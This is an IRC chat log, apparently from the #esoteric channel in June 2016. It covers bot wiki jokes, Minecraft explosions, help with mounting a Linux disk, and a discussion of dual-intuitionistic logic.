11:31:54 <HackEgo> Tanebventions include automatic squirrel feeders, necessity, Go, submarine jousting, the universe, weetoflakes, persistence, the BBC, progress, and this sentence. See also tanebventions (math). He never invents anything involving sex.
11:31:54 <Phantom_Hoover> `? taneb
11:31:56 <HackEgo> Taneb is not elliott, no matter who you ask. He also isn't a rabbi although he has pretended in the past. He has at least two backup keyboards with dodgy SHIFT KEys, cube root of eight genders, and voluminous but calm eyebrows. (See also: tanebventions)
11:32:16 <shachaf> Is necessity mathematical?
11:32:27 <boily> hellochaf, Tanelle, Phantom_Helloover.
11:32:37 <Taneb> shachaf, not necessarily
11:32:46 <Taneb> bonjoily
11:32:57 <boily> afaiac, the canonical tanebventionorder is transcribed in the Wisdom PDF Chapter Opening Paragraph hth
11:33:01 <shachaf> Taneb: After I wrote that I realized the answer was "possibly".
11:34:06 <hppavilion[1]> Why did I make a 25x25x25 cube of tnt
11:34:09 <hppavilion[1]> And set it off?
11:34:49 <boily> hppavellon[1]. because that's what TNT is for?
11:34:59 <hppavilion[1]> boily: Oh, right
11:35:11 <hppavilion[1]> boily: I suppose I should mention that I'm not talking about minecraft
11:35:23 <boily> oh.
11:35:34 <hppavilion[1]> boily: Have fun with the worldwide state of emergency
11:36:07 <boily> I'm in Canada so I'm safe, but please don't destroy the Real Life too much, eh?
11:36:47 <hppavilion[1]> In all seriousness, it isn't nearly as laggy as I would've expected
11:37:06 <coppro> boily: but if you die in Canada, you die in real life
11:37:14 -!- Akaibu has quit (Quit: Connection closed for inactivity).
11:37:23 <hppavilion[1]> Sure, it's laggy enough that you can understand the way the game is programed by seeing how it handles high-stress situations
11:37:41 <Taneb> `? histogram
11:37:41 <hppavilion[1]> (specifically, the TNT is detonating in rounds; the explosion noises stop every now and then, then they start back up)
11:37:43 <HackEgo> Histograms are diagrams showing histamine levels. Taneb invented them.
11:39:06 <hppavilion[1]> I also have a 25x25x25 cube of *whatever* that I use for testing my airstrike device
11:39:09 <shachaf> Do they measure histamine levels in grams?
11:39:16 <hppavilion[1]> (and to a lesser degree, the carpet bomb)
11:39:55 <hppavilion[1]> I imagine this is probably what the london blitz felt like
11:40:51 <hppavilion[1]> I also took great joy in targeting an airstrike at a village church
11:41:15 <hppavilion[1]> (not because of my bitter hatred for religion, but because churches just make the optimal target for depth-penetrating missiles in general)
11:41:55 <hppavilion[1]> Wow, I think the megacube is done, and it went really far
11:42:00 <hppavilion[1]> Enough to damage my test cube
11:44:53 <hppavilion[1]> Huh, in minecraft, a bed actually produces a bigger explosion than TNT
11:46:23 <Phantom_Hoover> only in the nether
11:46:35 <hppavilion[1]> Phantom_Hoover: Well yeah
11:46:42 <hppavilion[1]> Barriers have more blast resistance than bedrock
11:46:51 <Phantom_Hoover> also a 25m cube of tnt would have totally crashed the game back in my day
11:47:01 -!- Koen_ has quit (Remote host closed the connection).
11:47:02 <hppavilion[1]> Bedrock is 18,000,000 whereas barriers are 18,000,003
11:47:07 <Taneb> If only we had some pitifully underused channel for talking about Minecraft
11:47:08 <hppavilion[1]> Why the 3 extra I have no idea
11:47:32 <hppavilion[1]> Taneb: You mean like... something for just the "blah" stuff about #esoteric?
11:48:03 <Taneb> hppavilion[1], no, specifically minecraft
11:48:09 <hppavilion[1]> Taneb: Oh
11:48:17 <hppavilion[1]> Taneb: Well I'm not a fan of the folks in #minecraft
11:48:31 <hppavilion[1]> But I /could/ go there
11:48:33 <Taneb> hppavilion[1], hence a #esoteric specific one
11:48:41 <hppavilion[1]> Taneb: Oh, we have that?
11:48:44 <hppavilion[1]> Taneb: What's it called?
11:49:17 <hppavilion[1]> Oh, that was easy
11:49:17 <Taneb> (no-one talks there any more and it has two people in it)
11:49:27 <hppavilion[1]> Taneb: wrong hth
11:50:06 <Taneb> hppavilion[1], I was talking about a different channel, with that last message
11:50:23 <hppavilion[1]> Oh.
11:50:58 <Taneb> Why am I in two pitifully underused Minecraft-specific side channels for computer science irc channels that ten minutes ago had two people in?
11:51:01 <Taneb> I do not know
11:53:27 <Taneb> I'm gonna head off for a bit
11:57:13 <shachaf> Taneb: What, without inventing anything first?
11:57:37 <shachaf> tanobverflow
12:16:28 -!- boily has quit (Quit: IMPOSSIBLE CHICKEN).
12:25:54 -!- atrapado has quit (Ping timeout: 244 seconds).
13:00:05 -!- AnotherTest has joined.
13:08:35 <hppavilion[1]> Phantom_Hoover: Oh, and in the end
13:14:46 -!- AnotherTest has quit (Ping timeout: 272 seconds).
13:24:58 -!- spiette has joined.
13:39:21 -!- Sgeo has quit (Ping timeout: 240 seconds).
13:49:15 <hppavilion[1]> There's someone with the nick Dinnerbone on #minecraft
13:49:28 <hppavilion[1]> And I'm not sure whether it is actually Dinnerbone or just someone with the nick there to confuse people xD
13:49:51 <hppavilion[1]> It probably is the real person due to the fact that Mojang seems to actually control #minecraft
13:50:17 <hppavilion[1]> But I have the nagging feeling if I make the assumption I'll embarrass myself
13:55:52 <hppavilion[1]> `? google sand
13:56:15 <HackEgo> google sand? ¯\(°​_o)/¯
14:19:48 <b_jonas> fungot, do you like google sand?
14:19:49 <fungot> b_jonas: user tty login idle fnord fnord what is not
14:20:43 <b_jonas> eh what?
14:20:59 <b_jonas> fungot! what crazy style are you set to? you're eating koopas
14:20:59 <fungot> b_jonas: you take it's " offset"
14:21:04 <b_jonas> fungot: no I'm not
14:21:05 <fungot> b_jonas: actually i can't. something's not right. if it can be
14:21:43 <b_jonas> fungot: yes, something's not right. snap out of it and go to some saner style please.
14:21:43 <fungot> b_jonas: no math skills, no thinking skills, need some plain simple stuff
14:34:01 <HackEgo> [wiki] [[Nix]] https://esolangs.org/w/index.php?diff=47212&oldid=47211 * 216.188.250.122 * (-98)
14:42:36 -!- jaboja has joined.
14:43:55 <HackEgo> [wiki] [[Nix]] https://esolangs.org/w/index.php?diff=47213&oldid=47212 * 216.188.250.122 * (-16)
14:46:31 -!- Sgeo has joined.
14:48:43 -!- equipo12 has joined.
14:50:02 -!- equipo12 has quit (Quit: Saliendo).
15:10:13 -!- nycs has joined.
15:25:30 -!- PinealGlandOptic has joined.
15:32:24 -!- bender__ has joined.
15:34:42 -!- iaglium has quit (Ping timeout: 276 seconds).
15:34:59 -!- bender__ has changed nick to bender.
15:35:11 -!- bender has quit (Changing host).
15:35:11 -!- bender has joined.
15:40:16 -!- bender has quit (Ping timeout: 250 seconds).
15:46:03 -!- jaboja has quit (Read error: Connection reset by peer).
15:58:56 -!- Akaibu has joined.
16:08:03 -!- bender has joined.
16:27:44 -!- digitalcold has quit (Quit: Reconnecting).
16:27:51 -!- digitalcold has joined.
16:43:58 -!- bender has quit (Ping timeout: 250 seconds).
16:45:03 -!- bender has joined.
16:46:38 <HackEgo> [wiki] [[Special:Log/newusers]] create * Erikkonstas * New user account
16:51:41 <HackEgo> [wiki] [[Omam]] https://esolangs.org/w/index.php?diff=47214&oldid=36977 * Erikkonstas * (+177) Added cat program.
17:01:57 -!- sebbu has quit (Ping timeout: 246 seconds).
17:03:20 -!- sebbu has joined.
17:27:41 -!- Kaynato has joined.
17:31:25 -!- AnotherTest has joined.
17:45:35 -!- AnotherTest has quit (Ping timeout: 260 seconds).
17:52:19 -!- augur has joined.
17:56:20 -!- bender has quit (Ping timeout: 250 seconds).
17:58:00 -!- gamemanj has joined.
18:14:52 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
19:44:48 -!- moon_ has joined.
19:46:07 <moon_> im working on havocbot's framework
19:46:49 -!- jaboja has joined.
20:01:09 -!- `^_^ has joined.
20:03:48 -!- nycs has quit (Ping timeout: 276 seconds).
20:23:45 -!- jaboja has quit (Read error: Connection reset by peer).
20:24:20 -!- AnotherTest has joined.
20:24:30 -!- moon_ has quit (Ping timeout: 250 seconds).
20:39:42 -!- AnotherTest has quit (Ping timeout: 250 seconds).
20:44:08 -!- moon_ has joined.
20:44:20 <moon_> how do i mount a disk in debian again?
20:45:06 <izabera> mount /dev/sdXY /some/dir
20:47:33 <moon_> damn
20:47:55 <moon_> what filesystem does gentoo use? its apparently not EXT4
20:48:16 <moon_> and i cant reformat because this disk contains data
20:51:23 <gamemanj> moon_ type in "mount" and then find out
20:51:48 <moon_> i tried mounting the drives already, if thats wha you mean
20:51:53 <moon_> whats a 'superblock'?
20:51:59 <gamemanj> ...what I mean is,
20:52:07 <gamemanj> "mount" shows everything currently mounted
20:52:15 <gamemanj> unless you can't mount it, in which case...
20:52:42 <moon_> im trying to mount what used to be the /s drive
20:52:43 <gamemanj> you may be in a "pickle"
20:53:02 <moon_> u knw
20:53:07 <moon_> havocbot's old /s
20:53:12 <gamemanj> "/s"?
20:53:38 <moon_> it was the file that b_jonas assigned a drive to, mainly the secondary drive
21:00:35 <moon_> apparently the partition is a DOS partition?!
21:01:30 <myname> "what filesystem does gentoo use"
21:01:32 <myname> lol
21:01:48 <myname> you obviosly don't use linux very much
21:01:53 <moon_> im fairly certain it is EXT4, like all linux :P
21:01:57 <moon_> nope xD
21:02:17 <gamemanj> fat32 - the universal standard, everybody loves, fat32, fat32, the universal standard - it's not outdated at all...
21:02:48 <moon_> oh, gentoo uses fat32?
21:02:50 <gamemanj> ...
21:02:54 <myname> looool
21:02:55 <moon_> or not
21:03:03 <myname> "gentoo uses" nothing
21:03:19 <myname> it puts its files on whatever you serve to it
21:03:19 <gamemanj> it's what whoever decided to set the system up uses
21:03:52 <moon_> i used ext4, the default, unless b_jonas intialized the secondary drive wierdly
21:18:39 <moon_> hbot 2 is online
21:28:36 -!- J_Arcane_ has joined.
21:30:03 -!- J_Arcane has quit (Ping timeout: 240 seconds).
21:30:16 -!- J_Arcane_ has changed nick to J_Arcane.
21:38:38 -!- J_Arcane_ has joined.
21:40:03 -!- J_Arcane has quit (Ping timeout: 240 seconds).
21:40:18 -!- J_Arcane_ has changed nick to J_Arcane.
21:48:47 <moon_> anyone alive? havocbot is online, and alot safer
21:50:02 <myname> where is the fun in that
21:50:56 <moon_> s/alot/a little/
21:51:01 <moon_> im no good at security
22:11:17 -!- gamemanj has quit (Ping timeout: 244 seconds).
22:11:26 -!- xkapastel has joined.
22:16:17 -!- xkapastel has quit (Changing host).
22:16:17 -!- xkapastel has joined.
22:26:22 <izabera> how do you test it?
22:27:03 <moon_> >> ls
22:27:10 <moon_> ?
22:27:15 <moon_> wait
22:27:17 <moon_> wrong channel
22:27:20 <moon_> well
22:27:27 <moon_> its runnin in #esoteric-blah
22:30:04 -!- PinealGlandOptic has quit (Ping timeout: 252 seconds).
22:36:06 -!- `^_^ has quit (Quit: This computer has gone to sleep).
22:51:25 -!- heroux_ has joined.
22:52:39 -!- heroux has quit (Ping timeout: 264 seconds).
22:52:46 -!- heroux_ has changed nick to heroux.
23:08:24 <\oren\> hey im back in toronto!
23:10:31 -!- heroux has quit (Read error: Connection reset by peer).
23:11:00 -!- heroux has joined.
23:15:36 -!- boily has joined.
23:33:14 -!- augur has quit (Remote host closed the connection).
23:34:38 -!- Koen_ has joined.
23:47:45 -!- heroux has quit (Ping timeout: 250 seconds).
23:53:02 -!- J_Arcane has quit (Quit: ChatZilla 0.9.92-rdmsoft [XULRunner 35.0.1/20150122214805]).
23:53:33 -!- heroux has joined.
2016-06-16
00:01:08 -!- spiette has quit (Quit: :qa!).
00:04:40 -!- haavardp has joined.
00:05:29 -!- diginet_ has joined.
00:07:12 -!- yorick__ has joined.
00:07:12 -!- yorick__ has quit (Changing host).
00:07:12 -!- yorick__ has joined.
00:07:33 -!- nortti_ has joined.
00:07:53 -!- toon_ has joined.
00:07:55 -!- FreeFull_ has joined.
00:07:59 -!- espes___ has joined.
00:08:00 -!- SupayrPo1ey has joined.
00:08:02 -!- b_jonas_ has joined.
00:08:03 -!- Warrigal has joined.
00:08:13 -!- kragniz_ has joined.
00:11:27 -!- ybden- has joined.
00:12:42 -!- Warrigal has quit (Changing host).
00:12:42 -!- Warrigal has joined.
00:12:44 -!- tswett has quit (Disconnected by services).
00:12:48 -!- Warrigal has changed nick to tswett.
00:12:55 -!- b_jonas has quit (*.net *.split).
00:12:55 -!- FreeFull has quit (*.net *.split).
00:12:55 -!- diginet has quit (*.net *.split).
00:12:55 -!- SupayrPoney has quit (*.net *.split).
00:12:55 -!- Yurume_ has quit (*.net *.split).
00:12:55 -!- myname has quit (*.net *.split).
00:12:55 -!- nortti has quit (*.net *.split).
00:12:55 -!- espes__ has quit (*.net *.split).
00:12:55 -!- toon has quit (*.net *.split).
00:12:55 -!- kragniz has quit (*.net *.split).
00:12:55 -!- yorick has quit (*.net *.split).
00:12:55 -!- ybden has quit (*.net *.split).
00:12:56 -!- catern has quit (*.net *.split).
00:12:56 -!- paul2520 has quit (*.net *.split).
00:12:56 -!- haavard has quit (*.net *.split).
00:12:58 -!- diginet_ has changed nick to diginet.
00:13:19 -!- kragniz_ has changed nick to kragniz.
00:14:42 -!- myname has joined.
00:16:05 -!- catern has joined.
00:20:03 -!- paul2520 has joined.
00:20:03 -!- paul2520 has quit (Changing host).
00:20:03 -!- paul2520 has joined.
00:22:10 -!- Yurume_ has joined.
00:29:56 <quintopia> boily: hello
00:39:02 <moon_> boily: helloily
00:42:13 <quintopia> helloon
00:42:58 <boily> quinthellopia, mhelloon_!
00:50:39 -!- hppavilion[1] has joined.
00:53:11 <moon_> hi hppavilion[1]
00:53:12 <moon_> boily
00:53:21 <moon_> havocbot is reloaded and remade
00:53:28 <moon_> now with gcc and debian
01:05:36 <shachaf> Cale: It's funny that "T-algebra" means something different from "F-algebra" when both F and T are variables.
01:05:44 <Cale> yes
01:06:17 <Cale> Well, really it's that monad-algebras mean something different from functor-algebras
01:07:02 <Cale> It's also funny that you seem to use some kind of modular offset when deciding in which channel to reply to me about a message :D
01:08:22 <shachaf> Oh, well, I don't talk in some channels.
01:08:32 <boily> hppavellon[1], hellochaf, Callo.
01:08:42 <hppavilion[1]> ahoily
01:08:45 <hppavilion[1]> helloon_
01:20:09 <hppavilion[1]> My favorite die is the spherical die
01:21:58 <Cale> http://www.supermegacomics.com/images/382.gif
01:25:10 <hppavilion[1]> Huh, James Grime doesn't have a wikipedia page
01:26:45 <hppavilion[1]> I seem to be too genre savy for xkcd
01:27:03 <hppavilion[1]> I read today's and I got the joke wrong, but it was the joke that was used in the title text
01:28:42 <moon_> hppavilion[1]:
01:28:43 -!- Kaynato has quit (Ping timeout: 250 seconds).
01:28:48 <hppavilion[1]> moon_:
01:28:53 <moon_> boily turned #esoteric-blah into madville
01:29:08 <moon_> he/se >> ls /*/* 'd havocbot
01:29:26 <moon_> i stoped it and a flood came out that the !flush command wouldnt work
01:33:01 <boily> MWAH AH AH AH AH AH AH AH AH AH :D
01:51:22 -!- Phantom__Hoover has joined.
02:00:37 <moon_> hiaphantom
02:00:39 <moon_> *phantom
02:02:20 <boily> the canonical porthello for Phantom__Hoover is Phantom__Helloover hth
02:05:53 -!- xkapastel has quit (Quit: Connection closed for inactivity).
02:09:43 -!- Phantom__Hoover has quit (Quit: Leaving).
02:09:54 <Phantom_Hoover> resolved
02:11:32 -!- hppavilion[1] has quit (Ping timeout: 244 seconds).
02:16:37 <tswett> _left_distributivity : (a b c : Element) => Multiplicative.compose a (Additive.compose b c) = Additive.compose (Multiplicative.compose a b) (Multiplicative.compose a c)
02:16:42 <tswett> Is it just me, or is that a little verbose?
02:16:51 <shachaf> `` echo wisdom/phantom*hoover
02:17:06 <HackEgo> wisdom/phantom_hoover wisdom/phantom__hoover wisdom/phantom______hoover wisdom/phantom___________________hoover wisdom/phantom________________hoover wisdom/phantom______________________________________________hoover
02:17:14 -!- Akaibu has quit (Quit: Connection closed for inactivity).
02:17:33 <boily> holy fungot.
02:17:34 <fungot> boily: yes, you must attend to your master.
02:17:43 * boily attends do fungot
02:17:44 <fungot> boily: i can markov if you want to do is hang out with friends. not for initially understanding a library. it should be raining, not snowing.
02:18:06 <boily> "It should be raining. It should be raining. It should be raining. Amen. ♪"
02:22:07 <shachaf> `` echo wisdom/phantom*hoover
02:22:14 <HackEgo> wisdom/phantom_hoover wisdom/phantom__hoover wisdom/phantom_______hoover wisdom/phantom______________hoover wisdom/phantom_________________hoover wisdom/phantom_____________________________hoover
02:22:29 <tswett> `` cat wisdom/phantom*hoover
02:22:32 <HackEgo> Phantom Michael Hoover is a true Scotsman, hatheist, and completely out of the loop. \ Phantom__Hoover can't decide what an appropriate number of underscores is. \ Phantom______Hoover sucks at ghosting himself. \ It doesn't get any better than this. \ OK you got me there. \ <span accent="British">Your soundcard works perfectly.</span>
02:23:09 <shachaf> What is a hatheist? Is that related to thausible?
02:23:15 <tswett> `? hatheist
02:23:17 <HackEgo> hatheist? ¯\(°​_o)/¯
02:23:21 <tswett> `? thausible
02:23:22 <HackEgo> thausible? ¯\(°​_o)/¯
02:23:23 <tswett> `? i,i
02:23:25 <HackEgo> i,i i,i what is i,i
02:23:45 <boily> `` ls wisdom/hat*
02:23:47 <HackEgo> wisdom/hat
02:23:50 <boily> `? thausiblee
02:23:50 <tswett> `? hat
02:23:53 <HackEgo> A thausiblee is the recipient of a thausible action.
02:23:55 <HackEgo> hatee-hatee-hatee-hoooooooo
02:25:51 -!- boily has quit (Quit: FOOTLONG CHICKEN).
02:53:18 -!- Phantom_Hoover has quit (Ping timeout: 276 seconds).
02:59:37 -!- iaglium has joined.
03:11:00 <quintopia> a hatheist doesnt believe in hats
03:13:04 -!- FreeFull_ has changed nick to FreeFull.
03:13:13 <\oren\> I thought they don't believe in hathor
03:13:50 <quintopia> no one believes in hathor
03:14:14 <quintopia> some dont believe in anne hathaway
03:14:37 <quintopia> she was faked in a hollywood studio...or so they say
03:14:50 <\oren\> I've only heard of anne hathaway, never seen her.
03:15:30 <quintopia> i dont know anyone who has seen her in person
03:15:51 <quintopia> maybe all those who claimed to were lying?
03:16:17 <quintopia> like they were about sweden
03:24:13 <Koen_> shouldn't a hatheist specifically *believe* in hath-things?
03:28:53 -!- Koen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”).
03:31:15 <moon_> `url bin/med
03:31:27 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/med
03:37:38 -!- augur has joined.
04:11:38 -!- moon_ has quit (Ping timeout: 250 seconds).
04:15:12 -!- nortti_ has changed nick to nortti.
04:29:47 -!- Moon_ has joined.
04:30:15 <Moon_> My friend came home drunk with a beer bottle lodged in his pants, you have three guesses on why
04:31:18 <shachaf> \oren\: she died in the 17th century hth
04:31:19 <Moon_> Hppa
04:32:15 <Moon_> Wrong chat and damn enter key at the same time
04:41:06 -!- Moon_ has quit (Ping timeout: 250 seconds).
04:54:15 -!- Phantom_Hoover has joined.
05:02:04 -!- Moon_ has joined.
05:17:27 -!- hppavilion[1] has joined.
05:19:08 <Moon_> Hi hppa
05:23:36 <HackEgo> [wiki] [[Special:Log/newusers]] create * KelsonBall * New user account
05:30:28 <hppavilion[1]> Moon_: Hello
05:41:20 -!- Moon_ has quit (Ping timeout: 250 seconds).
05:41:52 <Sgeo> `decode
05:42:05 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: decode: not found
05:45:05 <Elronnd> `unidecode h
05:45:11 <HackEgo> ​[U+0068 LATIN SMALL LETTER H]
05:45:13 <Elronnd> Sgeo: ^
05:45:29 <Sgeo> `unidecode
05:45:30 <Sgeo> ty
05:45:38 <HackEgo> U+0008 <control> \ UTF-8: 08 UTF-16BE: 0008 Decimal: &#8; \ \ Category: Cc (Other, Control) \ Bidi: BN (Boundary Neutral)
05:46:02 <Sgeo> I don't know whether to blame SteamVR or HexChat
05:47:13 <HackEgo> [wiki] [[Symbolic Brainfuck]] N https://esolangs.org/w/index.php?oldid=47215 * KelsonBall * (+4133) Created page with "= Symbolic Brainfuck = '''Symbolic Brainfuck''' is a brainfuck derivative that adds "symbolic references" to 8 named registers, as well as adding "reference" and "dereference"..."
05:49:13 <\oren\> here sgeo
05:49:15 <\oren\>
05:52:40 <HackEgo> [wiki] [[Symbolic Brainfuck]] https://esolangs.org/w/index.php?diff=47216&oldid=47215 * KelsonBall * (+2055) Added Hello World example.
05:54:14 <HackEgo> [wiki] [[Symbolic Brainfuck]] M https://esolangs.org/w/index.php?diff=47217&oldid=47216 * KelsonBall * (+4)
05:54:20 <shachaf> `? chu space
05:54:23 <HackEgo> A Chu space is just a matrix. Taneb invented them, then Chu stole his invention.
05:55:07 <shachaf> `learn A matrix is just a matrix. Taneb invented them.
05:55:15 <HackEgo> Learned 'matrix': A matrix is just a matrix. Taneb invented them.
05:55:52 <HackEgo> [wiki] [[Symbolic Brainfuck]] https://esolangs.org/w/index.php?diff=47218&oldid=47217 * KelsonBall * (+35)
05:57:32 <shachaf> `le/rn modal logic/"modal logic" means "the most common logic" (that is, classical logic).
05:57:36 <HackEgo> Learned «modal logic»
06:00:49 <HackEgo> [wiki] [[Symbolic Brainfuck]] https://esolangs.org/w/index.php?diff=47219&oldid=47218 * KelsonBall * (+281) Added differences section
06:01:35 <HackEgo> [wiki] [[Symbolic Brainfuck]] https://esolangs.org/w/index.php?diff=47220&oldid=47219 * KelsonBall * (+5)
06:02:34 <shachaf> `? per martin-löf
06:02:36 <HackEgo> ​"per Martin-Löf" is a common citation lazy logicians use when they don't want to prove their theorems. It rarely gets past peer review.
06:03:00 <shachaf> `learn A perfunctory proof is a category-theoretical proof that cites Per Martin-Löf.
06:03:04 <HackEgo> Learned 'perfunctory': A perfunctory proof is a category-theoretical proof that cites Per Martin-Löf.
06:03:21 <HackEgo> [wiki] [[Symbolic Brainfuck]] https://esolangs.org/w/index.php?diff=47221&oldid=47220 * KelsonBall * (-580) /* Hello World */
06:03:55 <\oren\> `learn A Tall proof is a proof with a small hole, which can only be filled by another Tall proof.
06:03:59 <HackEgo> Learned 'tall': A Tall proof is a proof with a small hole, which can only be filled by another Tall proof.
06:04:40 <\oren\> `learn A Steprans variable is a variable whose notation is variable.
06:04:44 <HackEgo> Learned 'stepran': A Steprans variable is a variable whose notation is variable.
06:05:02 <shachaf> What?
06:05:10 <shachaf> i don't get your wisdom entries
06:05:34 <\oren\> These are things my dad named after his coworkers' idiosyncrancies
06:06:31 <shachaf> Seems a little scow to use personal idiosyncrasies in this channel.
06:06:37 <hppavilion[1]> shachaf: I think it's like a tall tale?
06:06:57 <\oren\> Juris Steprans is well known among people at yorku for having variables which change letters
06:07:55 <\oren\> He'll say, suppose A is a field, with... and so in the field F, we see...
06:08:38 <\oren\> Other people do this as well, but now the phenomenon has a name
06:09:07 <Elronnd> [6~[6~/y
06:09:24 <\oren\> uh, are you trying to page-down?
06:09:28 <shachaf> `learn A phenomenom is a name given to a phenomenon.
06:09:32 <HackEgo> Learned 'phenomenom': A phenomenom is a name given to a phenomenon.
06:10:11 <Elronnd> \oren\: I have a laggy connection
06:10:16 <Elronnd> which sometimes results in some weird stuff
06:11:22 <\oren\> yeah. the button page down actuall sends ESC [ 6 ~
06:11:41 <\oren\> so I guess the ESC didn't go through
06:13:59 <\oren\> Hmm what if a language autocorrected misspelt names?
06:14:05 <shachaf> `le/rn_append phenomenom/The collection of them is called "phenomenomenclature".
06:14:11 <HackEgo> Learned 'phenomenom': A phenomenom is a name given to a phenomenon. The collection of them is called "phenomenomenclature".
06:17:41 -!- Phantom_Hoover has quit (Ping timeout: 240 seconds).
06:25:13 -!- PinealGlandOptic has joined.
06:27:23 <\oren\> I've started flying the same spacecraft over and over
06:30:24 <HackEgo> [wiki] [[Brainfuck]] M https://esolangs.org/w/index.php?diff=47222&oldid=47048 * KelsonBall * (+137) /* Related languages */ Added Symbolic Brainfuck
06:30:27 -!- deltab has quit (Ping timeout: 246 seconds).
06:44:20 -!- hppavilion[1] has quit (Ping timeout: 244 seconds).
06:59:37 <shachaf> `? modal logic
06:59:41 <HackEgo> ​"modal logic" means "the most common logic" (that is, classical logic).
07:00:12 <shachaf> rntz: i didn't realize you were such a fan of classical logic
07:03:16 -!- deltab has joined.
07:03:19 <rntz> am I?
07:03:39 <rntz> oic.
07:03:58 <rntz> I'm a constructivist among the classicists and a classicist among the constructivists
07:04:41 <rntz> but it's probable that I will never not like modal logic
07:04:59 <shachaf> i,i classist logic
07:05:20 <rntz> the dual of marxist logic
07:06:27 <shachaf> i,i marx and sweep
07:08:02 <shachaf> rntz: Do you know anything about dual-intuitionistic logic?
07:08:12 <shachaf> The person on IRC who knew about it hasn't been around in a while.
07:08:54 <rntz> no, not really
07:09:34 <shachaf> I was wondering whether it's related to Set^op.
07:10:07 <rntz> probably not? Set is a model of classical logic, after all
07:10:14 <rntz> (I think?)
07:10:31 <shachaf> Well, Hask^op. Something^op.
07:10:35 <rntz> c.c
07:11:11 <rntz> https://projecteuclid.org/euclid.ndjfl/1039886520 is this the dual intuitionistic logic you're thinking of?
07:11:13 <shachaf> Dual-intuitionistic logic has Not (Not P) be a stronger statement than P.
07:11:41 <shachaf> Yes, I think that's the one.
07:11:43 <rntz> hwaet
07:12:00 <shachaf> You have double-negation elimination but not double-negation introduction.
07:12:30 <rntz> um, classical logic also doesn't have double-negation introduction
07:12:33 <myname> in what state is P then?
07:12:39 <myname> it does
07:12:43 <rntz> I mean, you can introduce double negations, but there's no *rule* to introduce them
07:13:07 <shachaf> There's no rule to eliminate them either.
07:13:15 <rntz> no, in some formulations there is
07:13:32 <rntz> that is, classical logic can be seen as precisely intuitoinistic logic plus a rule for double negation elimination
07:13:37 <shachaf> Well, you probably get it from LEM, P | ¬P
07:13:58 <rntz> that's not the *only* way to formulate classical logic, but it's *a* way
07:14:03 <shachaf> Whereas I guess in dual-intuitionistic logic you have LEM but you don't have non-contradiction, or something?
07:14:13 <rntz> it is apparently paraconsistent, yes
07:14:17 <shachaf> ¬(P & ¬P). Or something.
07:14:29 <rntz> instead of speculating, you could read a paper :P
07:14:36 <rntz> (and then explain it to me!)
07:14:43 <shachaf> I read bit of a paper a while ago.
07:15:04 <shachaf> But not very seriously.
07:15:09 <rntz> ooh, http://link.springer.com/article/10.1007%2Fs11225-005-8474-7 claims a dual of intuitionistic logic is related to popperian falsification
07:15:39 <rntz> "Whereas intuitionistic logic deals with constructive truth and non-constructive falsity," uh, what
07:15:50 <rntz> negation in intuitionistic logic is totally constructive!
07:15:58 <rntz> well, constructively destructive, at any rate
07:16:08 <rntz> although I suppose one might distinguish negation from falsehood
07:16:12 <rntz> (dunno how)
07:16:21 <shachaf> I mean, you prove negation in constructive logic in a way that looks a lot like "proof by contradiction".
07:16:37 <rntz> yeah, because negation is *literally* "implies contradiction" :P
07:16:46 <rntz> it's perfectly constructive: you're showing how to get contradiction from X
07:17:12 <shachaf> I wish I could remember what the paper I'm thinking of is.
07:17:15 <rntz> (this is another thing where I should just read the paper to see what it means instead of mouthing off)
07:17:32 <shachaf> Well, you have an excuse, because apparently the paper costs $40 to read.
07:17:55 <shachaf> http://philosophy.stackexchange.com/questions/11448/why-is-intuitionistic-negation-nonconstructive
07:18:12 <rntz> http://kdpu.edu.ua/shramko/files/2005_Studia_Logica_Dual_Intuitionistic_Logic_and_a_Variety_of_Negations_The_Logic_of_Scientific_Research.pdf <- "costs" "$40"
07:20:00 <shachaf> You get intuitionistic linear logic by restricting things so that there's at most one thing on the right side of the turnstile, right?
07:20:14 <shachaf> If I remember correctly you get the dual by restricting it so that there's at most one thing on the left side.
07:20:36 <shachaf> Which would make more sense to me if I had a better understanding of par, I'm sure.
07:20:37 <rntz> that seems appropriate
07:21:08 <rntz> par has a nice session-types interpretation in a one-sided setting
07:21:08 -!- toon_ has changed nick to toon.
07:21:27 <rntz> (A tensor B) is output A then B; (A par B) is input A then B. or something like that.
07:21:43 <rntz> wadler's sessions as types has more on that, I think
07:21:54 <shachaf> So does that seminar paper, I think.
07:21:57 <rntz> (well, not specifically on that. but it is a session-type interpretation in a one-sided setting)
07:22:04 <rntz> seminar paper?
07:22:12 <shachaf> In #-seminar.
07:23:06 <rntz> the dfa paper?
07:23:13 <rntz> wait, that uses *classical* linear logic?!
07:23:26 <rntz> no, it doesn't
07:23:41 <rntz> at least it doesn't look like it
07:24:12 <shachaf> Ah, I guess it's not for par.
07:24:30 <rntz> what were you thinking of?
07:25:10 <shachaf> I don't remember.
07:25:47 <shachaf> "I highlight the importance of the notion of falsity for a semantical consideration of intuitionistic logic. One can find two principal (and non-equivalent) versions of such a notion in the literature, namely, falsity as non-truth and falsity as truth of a negative proposition. I argue in favor of the first version as the genuine intuitionistic notion of falsity"
07:26:04 <rntz> is this the shramko paper?
07:26:08 <shachaf> Yes.
07:26:08 <rntz> that http://philosophy.stackexchange.com/questions/11448/why-is-intuitionistic-negation-nonconstructive mentions?
07:26:16 <shachaf> Yes.
07:27:32 <rntz> hm, the abstract says "and Nelson's logic takes both truth and falsity as constructive notions"
07:27:39 <rntz> what is this Nelson's logic
07:28:17 <shachaf> Wait, there are two different PDFs.
07:29:44 <shachaf> «According to the first view, “A is true” should be understood as “A has been (actually) proved”, whereas the second view interprets this as “A is (in principle) provable (A can be proved)”. In the first case truth is essentially of a temporal character. It is not uncommon that for some sentence no actual proof was available yesterday, but today we are lucky enough to obtain such a proof (re
07:29:50 <shachaf> call Fermat’s Last Theorem or ...
07:29:52 <shachaf> ... Poincaré Conjecture). In the second case we deal with a tenseless notion — a possibility of a proof of a true sentence must always be present even if nobody knows its actual proof so far (otherwise the very notion of possibility would be destroyed).»
07:29:56 <shachaf> hm
07:31:07 <rntz> http://plato.stanford.edu/entries/logic-connexive/
07:34:44 <shachaf> rntz: I wonder if this is related to your T,F classical logic from the other day.
07:43:17 <shachaf> rntz: Is this Popperian falsifiability related to topology?
08:18:06 -!- hppavilion[1] has joined.
08:25:09 -!- SupayrPo1ey has changed nick to SupayrPoney.
08:59:03 -!- bender__ has joined.
08:59:15 -!- bender__ has quit (Changing host).
